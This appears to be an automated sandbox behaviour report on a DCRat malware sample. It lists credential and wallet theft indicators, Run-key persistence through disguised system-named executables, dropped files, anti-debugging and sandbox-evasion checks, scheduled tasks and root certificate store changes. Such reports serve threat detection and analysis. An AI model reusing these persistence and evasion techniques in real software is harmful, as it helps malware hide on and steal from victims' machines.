dcrat | 59510cccbf45b3b2167896a7cc4d8ad806a483474be90879ce65e5801224deec

System Information Discovery

Processes:

arnatic_6.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Control Panel\International\Geo\Nation	arnatic_6.exe

Loads dropped DLL 64 IoCs

Processes:

59510cccbf45b3b2167896a7cc4d8ad806a483474be90879ce65e5801224deec.exesetup_install.execmd.execmd.execmd.execmd.execmd.exearnatic_1.execmd.exearnatic_7.exearnatic_4.exearnatic_6.execmd.exearnatic_2.exejfiag3g_gg.exearnatic_7.exejfiag3g_gg.exeWerFault.exexbEAAsgsFSu4NIqHlocQUCyA.exeW7sxWPvwKvQwiP40t455aKkz.exeGiwkXfE5qkAoyVcMGZIOtN9f.exeCVPl_YRpYqmLR8EQJRwtGufs.exe

pid	process
1072	59510cccbf45b3b2167896a7cc4d8ad806a483474be90879ce65e5801224deec.exe
1072	59510cccbf45b3b2167896a7cc4d8ad806a483474be90879ce65e5801224deec.exe
1072	59510cccbf45b3b2167896a7cc4d8ad806a483474be90879ce65e5801224deec.exe
1100	setup_install.exe
1100	setup_install.exe
1100	setup_install.exe
1100	setup_install.exe
1100	setup_install.exe
1100	setup_install.exe
1100	setup_install.exe
1100	setup_install.exe
1568	cmd.exe
1568	cmd.exe
468	cmd.exe
1976	cmd.exe
1976	cmd.exe
1984	cmd.exe
1472	cmd.exe
1192	arnatic_1.exe
1192	arnatic_1.exe
1964	cmd.exe
1680	arnatic_7.exe
1680	arnatic_7.exe
732	arnatic_4.exe
732	arnatic_4.exe
1484	arnatic_6.exe
1484	arnatic_6.exe
1544	cmd.exe
1544	cmd.exe
1644	arnatic_2.exe
1644	arnatic_2.exe
732	arnatic_4.exe
732	arnatic_4.exe
824	jfiag3g_gg.exe
824	jfiag3g_gg.exe
1680	arnatic_7.exe
1644	arnatic_2.exe
2024	arnatic_7.exe
2024	arnatic_7.exe
732	arnatic_4.exe
732	arnatic_4.exe
736	jfiag3g_gg.exe
736	jfiag3g_gg.exe
824	WerFault.exe
824	WerFault.exe
824	WerFault.exe
824	WerFault.exe
1484	arnatic_6.exe
1484	arnatic_6.exe
1484	arnatic_6.exe
1484	arnatic_6.exe
1484	arnatic_6.exe
1484	arnatic_6.exe
1484	arnatic_6.exe
1484	arnatic_6.exe
1512	xbEAAsgsFSu4NIqHlocQUCyA.exe
1484	arnatic_6.exe
1512	xbEAAsgsFSu4NIqHlocQUCyA.exe
1064	W7sxWPvwKvQwiP40t455aKkz.exe
1120	GiwkXfE5qkAoyVcMGZIOtN9f.exe
1120	GiwkXfE5qkAoyVcMGZIOtN9f.exe
1064	W7sxWPvwKvQwiP40t455aKkz.exe
1544	CVPl_YRpYqmLR8EQJRwtGufs.exe
1544	CVPl_YRpYqmLR8EQJRwtGufs.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 9 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

V0PDXF8DQXJg2Rgzk22_GRLx.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\Windows\\System32\\wbem\\ServiceModel\\WmiPrvSE.exe\""	V0PDXF8DQXJg2Rgzk22_GRLx.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\PerfLogs\\Admin\\dllhost.exe\""	V0PDXF8DQXJg2Rgzk22_GRLx.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\arnatic_3 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\7zS034C9926\\arnatic_3\\arnatic_3.exe\""	V0PDXF8DQXJg2Rgzk22_GRLx.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\arnatic_3 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\7zS034C9926\\libcurlpp\\arnatic_3.exe\""	V0PDXF8DQXJg2Rgzk22_GRLx.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Users\\Default\\Pictures\\cmd.exe\""	V0PDXF8DQXJg2Rgzk22_GRLx.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\moGCi53vEI8IvA8t0fXpMEaH = "\"C:\\Windows\\PLA\\Templates\\moGCi53vEI8IvA8t0fXpMEaH.exe\""	V0PDXF8DQXJg2Rgzk22_GRLx.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\Windows\\System32\\wbem\\textvaluelist\\WmiPrvSE.exe\""	V0PDXF8DQXJg2Rgzk22_GRLx.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Program Files (x86)\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\cmd.exe\""	V0PDXF8DQXJg2Rgzk22_GRLx.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Windows\\System32\\api-ms-win-crt-private-l1-1-0\\dllhost.exe\""	V0PDXF8DQXJg2Rgzk22_GRLx.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

7 ip-api.com
53 ipinfo.io
54 ipinfo.io

flow	ioc
7	ip-api.com
53	ipinfo.io
54	ipinfo.io

Drops file in System32 directory 7 IoCs

Processes:

V0PDXF8DQXJg2Rgzk22_GRLx.exeInstall.exe

description	ioc	process
File created	C:\Windows\SysWOW64\wbem\textvaluelist\24dbde2999530e	V0PDXF8DQXJg2Rgzk22_GRLx.exe
File created	C:\Windows\SysWOW64\wbem\ServiceModel\WmiPrvSE.exe	V0PDXF8DQXJg2Rgzk22_GRLx.exe
File created	C:\Windows\SysWOW64\wbem\ServiceModel\24dbde2999530e	V0PDXF8DQXJg2Rgzk22_GRLx.exe
File created	C:\Windows\SysWOW64\api-ms-win-crt-private-l1-1-0\dllhost.exe	V0PDXF8DQXJg2Rgzk22_GRLx.exe
File created	C:\Windows\SysWOW64\api-ms-win-crt-private-l1-1-0\5940a34987c991	V0PDXF8DQXJg2Rgzk22_GRLx.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File created	C:\Windows\SysWOW64\wbem\textvaluelist\WmiPrvSE.exe	V0PDXF8DQXJg2Rgzk22_GRLx.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 11 IoCs

Processes:

JhvelAfvZZXWV7pSE6X9QY4K.exeNiboX_EWbkULW3J8jn4EcrFk.exeV0PDXF8DQXJg2Rgzk22_GRLx.exeWmiPrvSE.exe

pid	process
1388	JhvelAfvZZXWV7pSE6X9QY4K.exe
2252	NiboX_EWbkULW3J8jn4EcrFk.exe
2260	V0PDXF8DQXJg2Rgzk22_GRLx.exe
2260	V0PDXF8DQXJg2Rgzk22_GRLx.exe
2260	V0PDXF8DQXJg2Rgzk22_GRLx.exe
2260	V0PDXF8DQXJg2Rgzk22_GRLx.exe
2260	V0PDXF8DQXJg2Rgzk22_GRLx.exe
596	WmiPrvSE.exe
596	WmiPrvSE.exe
596	WmiPrvSE.exe
596	WmiPrvSE.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

arnatic_7.exe

description pid process target process

PID 1680 set thread context of 2024 1680 arnatic_7.exe arnatic_7.exe

description	pid	process	target process
PID 1680 set thread context of 2024	1680	arnatic_7.exe	arnatic_7.exe

Drops file in Program Files directory 2 IoCs

Processes:

V0PDXF8DQXJg2Rgzk22_GRLx.exe

description	ioc	process
File created	C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\cmd.exe	V0PDXF8DQXJg2Rgzk22_GRLx.exe
File created	C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\ebf1f9fa8afd6d	V0PDXF8DQXJg2Rgzk22_GRLx.exe

Drops file in Windows directory 2 IoCs

Processes:

V0PDXF8DQXJg2Rgzk22_GRLx.exe

description	ioc	process
File created	C:\Windows\PLA\Templates\moGCi53vEI8IvA8t0fXpMEaH.exe	V0PDXF8DQXJg2Rgzk22_GRLx.exe
File created	C:\Windows\PLA\Templates\aee3fcf7aac5e9	V0PDXF8DQXJg2Rgzk22_GRLx.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

824 1192 WerFault.exe arnatic_1.exe

pid	pid_target	process	target process
824	1192	WerFault.exe	arnatic_1.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

arnatic_2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	arnatic_2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	arnatic_2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	arnatic_2.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

xbEAAsgsFSu4NIqHlocQUCyA.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	xbEAAsgsFSu4NIqHlocQUCyA.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	xbEAAsgsFSu4NIqHlocQUCyA.exe

Creates scheduled task(s) 1 TTPs 11 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
2700	schtasks.exe
2112	schtasks.exe
2240	schtasks.exe
2660	schtasks.exe
1168	schtasks.exe
2664	schtasks.exe
1044	schtasks.exe
2488	schtasks.exe
2828	schtasks.exe
1700	schtasks.exe
2516	schtasks.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

1980 timeout.exe
Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exe

pid process

3044 tasklist.exe
2712 tasklist.exe

pid	process
1980	timeout.exe

pid	process
3044	tasklist.exe
2712	tasklist.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

Processes:

Install.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe

Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

2832 taskkill.exe
432 taskkill.exe

pid	process
2832	taskkill.exe
432	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 48 IoCs

adware spyware

Modify Registry

Processes:

iexplore.exeiexplore.exeIEXPLORE.EXEIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{ACB832C1-A0AA-11EC-8B9A-46E3FC26E5EF} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{ACAEAD41-A0AA-11EC-8B9A-46E3FC26E5EF} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1405931862-909307831-4085185274-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

arnatic_1.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	arnatic_1.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	arnatic_1.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	arnatic_1.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	arnatic_1.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	arnatic_1.exe
